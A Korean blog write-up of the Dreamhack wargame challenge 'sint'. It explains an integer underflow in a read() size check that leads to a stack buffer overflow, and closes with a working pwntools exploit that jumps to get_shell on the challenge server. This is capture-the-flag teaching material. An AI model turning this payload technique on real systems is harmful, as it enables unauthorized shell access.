g.s.song 2025. 1. 27. 14:41

Prob


이 문제는 서버에서 작동하고 있는 서비스(sint)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 get_shell 함수를 실행시키세요.
셸을 획득한 후, "flag" 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

Environment

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

 

Analysis


바이너리와 함께 소스코드를 제공하므로 디컴파일러를 사용할 필요 없이 소스코드 분석을 통해 취약점을 찾는다. 문제에서 제공되는 소스코드는 아래와 같다.

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char buf[256];
    int size;

    initialize();

    signal(SIGSEGV, get_shell);

    printf("Size: ");
    scanf("%d", &size);

    if (size > 256 || size < 0)
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: ");
    read(0, buf, size - 1);

    return 0;
}

 

다른 문제와 마찬가지로 get_shell( ) 함수를 실행시켜 쉘을 획득하고 플래그를 획득하는 문제이다. read( ) 함수를 통해 사용자 입력을 받는 형태로 보아 버퍼 오버플로우를 일으켜야 하는 문제로 보이며, 읽을 데이터의 길이를 지정할 수 있다.

if 문을 통해 입력받을 길이를 제한하나, C를 어느정도 공부한 사람은 취약점이 존재한다는 것을 한 눈에 알 수 있다. 먼저 read( ) 함수의 원형은 아래와 같다.

ssize_t read(int fd, void *buf, size_t nbytes);

여기서 size_t 자료형은 부호 없는 정수를 의미하며, 어떤 객체나 값이 포함될 수 있는 최대 크기를 의미한다. 물론 실제 데이터 형은 아니지만 대개 unsigned int 자료형을 사용한다. 상기 코드에서 입력 받는 데이터의 사이즈로 size - 1 을 지정한다.

만약 size의 값이 0이 될 경우 read( ) 함수의 인자인 size - 1은 음수를 표현할 수 없으므로, 정수 오버플로우에 의해 값이 4,294,967,295가 되며 이로 인해 버퍼 오버플로우가 발생한다.

실제로 위의 그림과 같이 nbytes의 값이 0xffffffff가 된 것을 확인할 수 있다.

 

따라서 Size 입력에 0을 집어 넣고, 버퍼 오버플로우 취약점을 일으켜 쉘을 획득하면 될 것으로 보인다.

from pwn import*

context.log_level = 'debug'
elf = ELF("./sint") 
         
p = remote('host1.dreamhack.games', 18796)

payload = b'A'*260
payload += p32(elf.symbols['get_shell'])

p.sendlineafter('Size: ', b'0')
p.sendlineafter('Data: ', payload)
    
p.interactive()